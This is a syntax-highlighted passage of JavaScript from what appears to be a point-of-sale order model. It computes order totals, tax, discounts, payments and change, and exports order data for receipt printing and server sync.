<code class="javascript_keyword1">var</code> newPaymentline <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">Paymentline</code>(<code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>cashRegister<code class="javascript_operator">:</code>cashRegister<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(cashRegister<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">journal</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>type <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">cash</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">{</code>
newPaymentline<code class="javascript_operator">.</code><code class="javascript_function">set_amount</code>( <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getDueLeft</code>() )<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
paymentLines<code class="javascript_operator">.</code><code class="javascript_function">add</code>(newPaymentline)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getName</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
getSubtotal <code class="javascript_operator">:</code> <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_display_price</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getTotalTaxIncluded</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_price_with_tax</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getDiscountTotal</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> (orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_unit_price</code>() <code class="javascript_operator">*</code> (orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_discount</code>()<code class="javascript_operator">/</code><code class="javascript_digit">100</code>) <code class="javascript_operator">*</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_quantity</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getTotalTaxExcluded</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_price_without_tax</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getTax</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> orderLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> orderLine<code class="javascript_operator">.</code><code class="javascript_function">get_tax</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getPaidTotal</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> (<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">reduce</code>((<code class="javascript_keyword1">function</code>(sum<code class="javascript_operator">,</code> paymentLine) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> sum <code class="javascript_operator">+</code> paymentLine<code class="javascript_operator">.</code><code class="javascript_function">get_amount</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">,</code> <code class="javascript_digit">0</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getChange</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>() <code class="javascript_operator">-</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getDueLeft</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>() <code class="javascript_operator">-</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">set_cashier_name</code>: <code class="javascript_keyword1">function</code>(name)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">sets</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">type</code><code class="javascript_comment2"> </code><code class="javascript_comment2">of</code><code class="javascript_comment2"> </code><code class="javascript_comment2">receipt</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'receipt'(default)</code><code class="javascript_comment2"> </code><code class="javascript_comment2">or</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'invoice'</code>
<code class="javascript_label">set_receipt_type</code>: <code class="javascript_keyword1">function</code>(type)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_type <code class="javascript_operator">=</code> type<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_receipt_type</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_type<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">client</code><code class="javascript_comment2"> </code><code class="javascript_comment2">related</code><code class="javascript_comment2"> </code><code class="javascript_comment2">to</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">current</code><code class="javascript_comment2"> </code><code class="javascript_comment2">order.</code>
<code class="javascript_label">set_client</code>: <code class="javascript_keyword1">function</code>(client)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>client)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_client</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_client_name</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> client <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> client <code class="javascript_operator">?</code> client<code class="javascript_operator">.</code>name <code class="javascript_operator">:</code> <code class="javascript_literal1">"</code><code class="javascript_literal1">"</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">order</code><code class="javascript_comment2"> </code><code class="javascript_comment2">also</code><code class="javascript_comment2"> </code><code class="javascript_comment2">stores</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">screen</code><code class="javascript_comment2"> </code><code class="javascript_comment2">status,</code><code class="javascript_comment2"> </code><code class="javascript_comment2">as</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">PoS</code><code class="javascript_comment2"> </code><code class="javascript_comment2">supports</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">different</code><code class="javascript_comment2"> </code><code class="javascript_comment2">active</code><code class="javascript_comment2"> </code><code class="javascript_comment2">screens</code><code class="javascript_comment2"> </code><code class="javascript_comment2">per</code><code class="javascript_comment2"> </code><code class="javascript_comment2">order.</code><code class="javascript_comment2"> </code><code class="javascript_comment2">This</code><code class="javascript_comment2"> </code><code class="javascript_comment2">method</code><code class="javascript_comment2"> </code><code class="javascript_comment2">is</code><code class="javascript_comment2"> </code><code class="javascript_comment2">used</code><code class="javascript_comment2"> </code><code class="javascript_comment2">to</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">store</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">screen</code><code class="javascript_comment2"> </code><code class="javascript_comment2">status.</code>
<code class="javascript_label">set_screen_data</code>: <code class="javascript_keyword1">function</code>(key<code class="javascript_operator">,</code>value)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">if</code>(arguments<code class="javascript_operator">.</code>length <code class="javascript_operator">=</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_digit">2</code>)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data<code class="javascript_operator">[</code>key<code class="javascript_operator">]</code> <code class="javascript_operator">=</code> value<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_keyword1">else</code> <code class="javascript_keyword1">if</code>(arguments<code class="javascript_operator">.</code>length <code class="javascript_operator">=</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_digit">1</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(key <code class="javascript_keyword1">in</code> arguments<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code>)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data<code class="javascript_operator">[</code>key<code class="javascript_operator">]</code> <code class="javascript_operator">=</code> arguments<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code><code class="javascript_operator">[</code>key<code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2">see</code><code class="javascript_comment2"> </code><code class="javascript_comment2">set_screen_data</code>
<code class="javascript_label">get_screen_data</code>: <code class="javascript_keyword1">function</code>(key)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data<code class="javascript_operator">[</code>key<code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">exports</code><code class="javascript_comment2"> </code><code class="javascript_comment2">a</code><code class="javascript_comment2"> </code><code class="javascript_comment2">JSON</code><code class="javascript_comment2"> </code><code class="javascript_comment2">for</code><code class="javascript_comment2"> </code><code class="javascript_comment2">receipt</code><code class="javascript_comment2"> </code><code class="javascript_comment2">printing</code>
<code class="javascript_label">export_for_printing</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> orderlines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">each</code>(<code class="javascript_keyword1">function</code>(orderline)<code class="javascript_operator">{</code>
orderlines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(orderline<code class="javascript_operator">.</code><code class="javascript_function">export_for_printing</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> paymentlines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">each</code>(<code class="javascript_keyword1">function</code>(paymentline)<code class="javascript_operator">{</code>
paymentlines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(paymentline<code class="javascript_operator">.</code><code class="javascript_function">export_for_printing</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> client <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> cashier <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">|</code><code class="javascript_operator">|</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">user</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> company <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">company</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> shop <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">shop</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> date <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> <code class="javascript_keyword3">Date</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> <code class="javascript_operator">{</code>
<code class="javascript_label">orderlines</code>: orderlines<code class="javascript_operator">,</code>
<code class="javascript_label">paymentlines</code>: paymentlines<code class="javascript_operator">,</code>
<code class="javascript_label">subtotal</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getSubtotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_with_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_without_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxExcluded</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTax</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_paid</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">total_discount</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getDiscountTotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">change</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getChange</code>()<code class="javascript_operator">,</code>
name <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getName</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">client</code>: client <code class="javascript_operator">?</code> client<code class="javascript_operator">.</code>name <code class="javascript_operator">:</code> <code class="javascript_literal2">null</code> <code class="javascript_operator">,</code>
<code class="javascript_label">invoice_id</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code> <code class="javascript_comment2">//</code><code class="javascript_comment2">TODO</code>
<code class="javascript_label">cashier</code>: cashier <code class="javascript_operator">?</code> cashier<code class="javascript_operator">.</code>name <code class="javascript_operator">:</code> <code class="javascript_literal2">null</code><code class="javascript_operator">,</code>
<code class="javascript_label">date</code>: <code class="javascript_operator">{</code>
<code class="javascript_label">year</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getFullYear</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">month</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getMonth</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">date</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getDate</code>()<code class="javascript_operator">,</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">day</code><code class="javascript_comment2"> </code><code class="javascript_comment2">of</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">month</code><code class="javascript_comment2"> </code>
<code class="javascript_label">day</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getDay</code>()<code class="javascript_operator">,</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">day</code><code class="javascript_comment2"> </code><code class="javascript_comment2">of</code><code class="javascript_comment2"> </code><code class="javascript_comment2">the</code><code class="javascript_comment2"> </code><code class="javascript_comment2">week</code><code class="javascript_comment2"> </code>
<code class="javascript_label">hour</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getHours</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">minute</code>: date<code class="javascript_operator">.</code><code class="javascript_function">getMinutes</code>()
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">company</code>:<code class="javascript_operator">{</code>
<code class="javascript_label">email</code>: company<code class="javascript_operator">.</code>email<code class="javascript_operator">,</code>
<code class="javascript_label">website</code>: company<code class="javascript_operator">.</code>website<code class="javascript_operator">,</code>
<code class="javascript_label">company_registry</code>: company<code class="javascript_operator">.</code>company_registry<code class="javascript_operator">,</code>
<code class="javascript_label">contact_address</code>: company<code class="javascript_operator">.</code>contact_address<code class="javascript_operator">,</code>
<code class="javascript_label">vat</code>: company<code class="javascript_operator">.</code>vat<code class="javascript_operator">,</code>
<code class="javascript_label">name</code>: company<code class="javascript_operator">.</code>name<code class="javascript_operator">,</code>
<code class="javascript_label">phone</code>: company<code class="javascript_operator">.</code>phone<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">shop</code>:<code class="javascript_operator">{</code>
<code class="javascript_label">name</code>: shop<code class="javascript_operator">.</code>name<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">currency</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">currency</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">exportAsJSON</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> orderLines<code class="javascript_operator">,</code> paymentLines<code class="javascript_operator">;</code>
orderLines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">each</code>(_<code class="javascript_operator">.</code><code class="javascript_function">bind</code>( <code class="javascript_keyword1">function</code>(item) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> orderLines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">,</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> item<code class="javascript_operator">.</code><code class="javascript_function">export_as_JSON</code>()<code class="javascript_operator">]</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code>))<code class="javascript_operator">;</code>
paymentLines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">each</code>(_<code class="javascript_operator">.</code><code class="javascript_function">bind</code>( <code class="javascript_keyword1">function</code>(item) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> paymentLines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">,</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> item<code class="javascript_operator">.</code><code class="javascript_function">export_as_JSON</code>()<code class="javascript_operator">]</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code>))<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> <code class="javascript_operator">{</code>
<code class="javascript_label">name</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getName</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_paid</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_total</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTax</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_return</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getChange</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">lines</code>: orderLines<code class="javascript_operator">,</code>
<code class="javascript_label">statement_ids</code>: paymentLines<code class="javascript_operator">,</code>
<code class="javascript_label">pos_session_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos_session</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id<code class="javascript_operator">,</code>
<code class="javascript_label">partner_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">?</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id <code class="javascript_operator">:</code> undefined<code class="javascript_operator">,</code>
<code class="javascript_label">user_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">?</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">user</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id<code class="javascript_operator">,</code>
<code class="javascript_label">cashier_name</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">selectedOrder</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getSelectedLine</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">selectLine</code>: <code class="javascript_keyword1">function</code>(line)<code class="javascript_operator">{</code>
